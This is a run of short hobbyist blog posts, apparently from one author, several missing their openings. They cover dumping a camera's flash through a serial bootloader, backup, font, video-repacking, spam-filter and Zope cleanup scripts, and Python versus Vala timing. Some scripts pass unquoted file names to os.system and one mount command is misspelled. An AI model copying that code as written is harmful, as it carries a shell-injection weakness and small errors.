Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let’s open it, find a serial port and look what’s going on. I used the bus-pirate of course. I discovered that only the bootloader is working, the whole flash seems empty.I searched a long time, and tried severals stuffs, but I was unable to find the right firmware (in the right format) for his no-name camera.

NetOS opened camera

So my friend sent the camera back (warranty), and receive a new one. Now, he ask me to backup the flash memory, to fix the problem if this occurs in a few months again.

The main issue is : The camera has no backup web interface, no MTD dump shell binary (nor ftp, scp..), and it’s not really easy to compile the mtd tools because the system has no library installed (only a few static binary files). I’m unable to backup the firmware throught the OS. Let’s try see the bootloader.

The bootloader has no backup firmware features, but it can dump the memory content (flash included), and it has a builtin “ls” like command that display base memory segments. With the simple “d 0xAAAA”, you can dump the memory at 0xAAAA address. Fine, I decided to write a little script that walk the memory, dump the content and rebuild the binary file.

#!/usr/bin/env python2
import serial,sys,string

log_file = None

def ser_open():
    ser = serial.Serial("/dev/ttyUSB0", 115200, timeout = 0.1)
    return ser

def log(line):
    l=string.split(line,' ')
    data='%s%s%s%s' % (l[1],l[2],l[4],l[5])
    for i in range(0,32,2):
        octet = int(data[i:i+2],16)
        log_file.write('%s' % chr(octet))

def dump(ser,addr):
    s = "d -s 0x%x\n" % addr
    ser.write(s)

    l=[]
    i = 0
    while 1:
        data = ser.read()
        if not data:break
        l.append(data)
        if (data=='\r'):
            s = string.join(l,'')
            if (s[0] == '['):
                log(s)
            l=[]

d = ser_open()
log_file = open('log.raw','a')

img_start = 0x7F0E0000
img_size = 0xC3C00

for i in range(img_start,img_start+img_size+0x100,0x100):
    dump(d,i)
    print "0x%x"% i

As you can see, this code isn’t really clean and well written, but it give me a nice binary file for a given offset and size. Simply dump the memory through serial port, do a little parsing, and store the result in binary file named log.raw.

I used this to backup the camera linux.bin file, and the romfs.img. Of course you can use this to dump the whole memory too. To check if the files are Ok, you can try to g-unzip the Linux Kernel, and mount the romfs.

To check the romfs, I simply mount it with : mount -t roomfs -o loop log.raw ./log

So now, I have a backup for this no-name camera, and next time the whole memory will drop, I will try to restore it ;).

This method seems really crude (and dirty), but it work without too much trouble, and can be tweaked for a lot of systems. It should work on every Linux embedded system with an dump memory feature in the bootloader (quite every one).

Enjoy memory ;)

So, first step : search the file resources.zip (in /opt/spotify/spotify-client/Data/ on Debian). Extract the file skin.xml. In this file, search for line like this.

<font ci="FriendsListFont" color="#dddddd" shadow="#333333" size="11" />

So change all font sizes, save the file, re-pack the ressources file .. and Voila. You can fix this manually (or with a special XML editor), but the file contain 245 font definitions. I decided to fix with a Python script.

import xml.etree.ElementTree as xml

tree = xml.parse("./skin.xml")
root = tree.getroot()

for f in root.findall('font'):
	taille = f.get('size')
	if taille:
		taille = int(taille) + 4
		f.set('size',str(taille))


file = open("new_skin.xml", 'w')

xml.ElementTree(root).write(file)

Let’s try this new skin :  

This should be a easier for the big screen :)

/Enjoy music

So here, we are :

#!/usr/bin/python 
# Edit DATA and DEST
DATA='/var/www'
DEST='ftp://username:password@ftp.server/backup'

import os
import sys

def backup(b_type='incr'):
    dup_cmd ='nice -n 19 duplicity %s  --volsize 512 --no-encryption --asynchronous-upload ' % (b_type,)
    temp = '%s %s %s' % (dup_cmd,DATA,DEST)
    os.system(temp)

def info():
    dup_cmd='duplicity collection-status  %s' % (DEST)
    os.system(dup_cmd)

def list_files():
    dup_cmd='duplicity list-current-files  %s' % (DEST)
    os.system(dup_cmd)

def clean():
    dup_cmd='duplicity remove-all-but-n-full 1 --force %s' % (DEST)
    os.system(dup_cmd)

def usage():
    print "%s [-incr|-full|-list|-info|-clean]" % sys.argv[0]

if __name__=='__main__':
    if len(sys.argv) > 1:
        if sys.argv[1] == '-incr':
            backup('inc')
        elif sys.argv[1] == '-full':
            backup('full')
        elif sys.argv[1] == '-info':
            info()
        elif sys.argv[1] == '-list':
            list_files()
        elif sys.argv[1] == '-clean':
            clean()
        else:
            usage()
    else:
        usage()

Please note that I disabled the PGP encryption for this backup. Mainly because, I don’t want to deal w/ lost keys when I will need to restore the backup. But this can be done easily. I will post a complete guide if someone ask.

The next step call the script in cron.d for example with something like this : 30  3   *  *  *

Feel happy no more stress with backup ;)

The main issue here, is that I used my main computer to monitor an 1wire network of external, heating and rooms temperature. I used a small Arduino card and a couple of Python scripts to populate some munin graph, like this one:

As you can see on this graph, I use a reference temperature from Guipavas. This stuff is public, and I use the Weather.com for the info. All works fine for about an year now. But when I switched to my new little box (300Mhz..) the python script used to monitor the 1wire network and gather weather.com reference was a bit heavier than excepted for this little box.

I first thought to rewrite this in pure C, but having to deal w/ xml parsing (libxml) and Posix serial in C .. That’s the little story, I decided to rewrite this script (and other) in Vala. I will not dump the Vala introduction here, but to be short it’s a new language that produce C used by Gnome Desktop. The syntax tend to be a C# like, and it has a lot of libraries and doesn’t need the bloat of an interpreter (nor VM). My first test was to listen to the Arduino serial port.

public void run()
{
ser = new Serial.POSIX();
loop = new GLib.MainLoop();
ser.speed=Serial.Speed.B38400;
ser.received_data.connect(parseSerial);
loop.run();
}

I used a Serial.vala wrapper found on the net, this is simple and neat. Just added some string parsing, and I get my Arduino 1wire network working w/ Vala .. The next is the Weather.com parsing which will be covered in a future post.
To conclude, the Vala result is fine. The result binary is small 38KB, it has quite a lot of dependencies (libsoup,glib, pthread, gobject..) and consume more memory than my python script. Python interpreter + Elementtree (xml parsing) + pyserial eat around 8.9MB of RAM, while the my Vala code eat 12.3MB. But keep in mind that’s this is with all the shared libraries. So, if you use a couple of script like me, this memory isn’t a big deal, because it will be used across different process without any overhead.

In meantimes, the main difference between the two version is the speed, here come some results with the time command of the weather.com functions only (I dropped the serial IO stuff for this test) :

jkx@brick:~$ time python weather.py
Temp:    20
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m2.105s
user    0m1.468s
sys     0m0.216s

jkx@brick:~$ time ./weather
Temp:    20 deg
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m0.427s
user    0m0.084s
sys     0m0.032s

Ok, Python takes 4x the Vala time for the same stuff. Of course this piece of code isn’t exactly the same, and evolve an network access, but I tested this a couple of times, and the result is always ~ the same, so I decide to look closer, and found that despite Python interpreter load quite speedy, ElementTree + urllib2 take 1.35sec to import

I get it, this system has a really small CPU and importing libs from harddrive takes times .. which doesn’t occur with my Vala code, the binary is small, and all dependency are already loaded by the OS itself. To conclude, Python is still my favorite language but running python script on small system has an overhead which I must take care, and avoiding loading / unloading libs is the key. A single python process, with some script loaded will be a better choice. And for small custom apps used on this kind of system, Vala seems to be a good alternative.

// Enjoy the sun

This stuff can be repack in a AVI (xivd..) file with some open source tools. Here, a little script to do the hard stuff ;)

You can find the script here : http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py

#!/usr/bin/python
# Little script to depack Matroska file, and repack them
# in a AVI + subtitle format.

import sys
import os

def message(msg):
    print "=" * 78
    print "= %s" % msg
    print "=" * 78

def usage():
    print "Mastroka repacker script"
    print "  Usage: "+sys.argv[0]+ " filename"

if __name__ == "__main__":
    if len(sys.argv) < 2:
       usage()
    else:
       filename = sys.argv[1]
       basename = filename[:-4]
       message("Unpacking file: %s" % filename)
       os.system("mkvextract tracks %s 1:temp_video.avi 2:temp_audio.ogg 3:%s.srt" % (filename,basename) )

       message("Repacking file: %s.avi" % basename)
       os.system("ffmpeg -i temp_audio.ogg  -i temp_video.avi  -vcodec copy  %s.avi" % (basename) )

       message("Cleaning files")
       os.system("rm temp_video.avi temp_audio.ogg")

/Enjoy Video

The main issue, is that I haven’t unset the “joinable” flag, so everybody can create a account. By the way password are sent, spammers doesn’t manage to post stuff in the personnal area.

With 300 users, and only 4 valids, I need to find a way to clean the acl_user folder. Last time I used twill, this works really great, so I decided to use the same stuff for Zope.

Here my little script:

#!/usr/bin/python

LOGIN='foo'
PASSWORD='far'

LOGIN_URL='http://your_server/manage_main'
USER_URL='http://your_server/acl_users/manage_users'
GOOD_USERS = ['jkx','foobar']

import twill

def delUsers():
   twill.commands.go(USER_URL)
   form = twill.commands.showforms()[0]

   usernames = form.possible_items('names:list')
   for u in usernames:
      if u not in GOOD_USERS:
         twill.commands.formvalue(1,'names:list',u)

      twill.commands.showforms()
      twill.commands.submit(3)

def doLogin():
   twill.commands.go(LOGIN_URL)
   forms = twill.commands.showforms()

   twill.commands.formvalue(2,'__ac_name',LOGIN)
   twill.commands.formvalue(2,'__ac_password',PASSWORD)
   twill.commands.submit()

if __name__ =='__main__':
  doLogin()
  delUsers()

This will drop all user account (not the ones in GOOD_USERS) ..

I ‘m already using a good email spam filter: SpamBayes, so I decided to test bayesian filtering for the spam on this blog too.

I decided to give Reverend a try:

from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)

Small, and really simple module no ? The next step, simply add a ‘spam’ and ‘ham’ attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( >1) ham/spam. This took me about 1 hour to implement…

After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)

Enjoy Bayesian ?

With time, Python really became a powerfull tool for hardware hackers :) That’s perhaps why I like it so much ?

I decided to look at this a little deeply, and decided to use /dev/rtc to do the trick. Here a little example of the stuff.

from  fcntl import ioctl
import os, time

# some linux kernel header
RTC_IRQP_SET = 1074032652
RTC_PIE_ON =  28677
RTC_PIE_OFF = 28678

# open the realtime clock
f = open ("/dev/rtc", "r")
fd = f.fileno()

# 2048 freq
ioctl(fd,RTC_IRQP_SET,2048)
ioctl(fd,RTC_PIE_ON,0)

t0 = time.time()
interupt = 0

# the read will block until the next interrupt.
while interupt < 1000 :
    os.read(fd,4)  # 4 = size of double
    interupt = interupt + 1

delta = time.time() - t0
print interupt / delta

# drop the scheduler
ioctl(fd,RTC_PIE_OFF,0)

This is quite accurate enought, the only issue is that I’m unable to call the sched_setscheduler() from Python right now. So, if the host isn’t loaded I get the 2048 interrupts.. but it can be less :(

Update:
The sched_setscheduler can be done w/ a simple pyrex extension:

cdef extern from "sched.h":
struct sched_param:
int sched_priority
int sched_setscheduler(int pid, int policy,sched_param  *p)

SCHED_FIFO = 1

def switchRTCPriority(nb):
cdef sched_param sp
sp.sched_priority = nb
sched_setscheduler (0,SCHED_FIFO , &sp);

After this quick Pyrex hack, I now have a accurate realtime interrupt in Python ;)